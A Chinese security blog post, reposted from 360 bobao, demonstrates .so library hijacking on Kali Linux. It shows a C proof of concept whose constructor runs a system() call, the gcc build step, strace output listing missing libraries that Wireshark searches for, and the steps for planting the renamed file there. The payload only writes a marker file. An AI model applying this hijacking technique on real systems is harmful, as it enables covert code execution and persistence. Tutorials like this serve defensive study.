记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

*nix系统上的共享对象(.so)注入

2015-10-16 14:05

分享到:

http://pic1.hackdig.com/pp/2922be572a83b8a8c47e1e825dc54607f2d76ac6a15a5af894713e68b958128f635ffc60a1d1d3f8fc5bf6f3e4f3a23d.jpg

[介绍]

在WINDOWS平台上有"DLL Injection","DLL Hijacking"等技术,我尝试同样的技术在*nix系统上,“共享对象(so)注入“

我测试的系统为kali 1.1.0 32 bit

查看Linux OS系统信息

root@kali:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux 1.1.0
Release:  1.1.0
Codename:     moto

查看操作系统位数

root@kali:~# getconf LONG_BIT
32
[PoC Code]
#include <stdio.h>
#include <stdlib.h>
static void nix_so_injection_poc() __attribute__((constructor));
void nix_so_injection_poc() {
         printf("PoC for DLL/so Hijacking in Linux \n");
         system("touch /tmp/360bobao.txt && echo \"so injection PoC\" >/tmp/360bobao.txt");
}

[明白POC代码以及构造.so文件]

"__attribute__((constructor))" 是GCC的属性,通常会在程序开始共享库载入的时候执行,SO文件的.ctor段将标记构造函数。
从C代码编译SO的命令如下:
root@kali:~# gcc -shared -o libsoinjection.so -fPIC linux_so_loading.c
root@kali:~# ls -la libsoinjection.so
-rwxr-xr-x 1 root root 4859 Oct 15 16:50 libsoinjection.so

[手工演示注入利用]

我这里演示在wireshark中注入libsoinjection.so,首先需要查看哪个so文件尝试被wireshark载入,但是又没有在默认路径中搜索到。可以使用strace来做这个工作。

root@kali:~# strace wireshark &> wireshark_strace.log
root@kali:~# cat wireshark_strace.log |grep "No such file or directory"
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", F_OK) = 0
stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0
open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", O_RDONLY|O_CLOEXEC) = 3

我们要做的就是将libsoinjection.so重命名为上面wireshark在载入时没有找到的一个SO文件,并将它放在相应的目录,比如我这里的是liboverlay-scrollbar.so

root@kali:~# mv libsoinjection.so liboverlay-scrollbar.so
root@kali:~# mv liboverlay-scrollbar.so /usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/

现在让我们验证下注入前后的区别

root@kali:~# ls -la /tmp/360bobao.txt
ls: cannot access /tmp/360bobao.txt: No such file or directory
root@kali:~#wireshark
PoC for DLL/so Hijacking in Linux
Gtk-Message: Failed to load module "overlay-scrollbar"
DLL/.so Hijacking in Linux
Gtk-Message: Failed to load module "canberra-gtk-module"

现在查看/tmp/360bobao.txt已经被新建了

root@kali:~# cat /tmp/360bobao.txt
"so injection PoC"

[参考文档]

http://blog.disects.com/search?q=dll+loading

http://tldp.org/HOWTO/Program-Library-HOWTO/dl-libraries.html

http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html

http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html

这是最简单的SO文件劫持方法,原文章(https://www.exploit-db.com/papers/37606/)说得比较粗略,如果想了解更多细节的读者,可以买本<<LINUX/UNIX系统编程手册>>来看看,下次我会讲讲LD_PRELOAD劫持方法。

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://www.hackdig.com/10/hack-27419.htm

知识来源: bobao.360.cn/learning/detail/697.html

阅读:112890 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“*nix系统上的共享对象(.so)注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云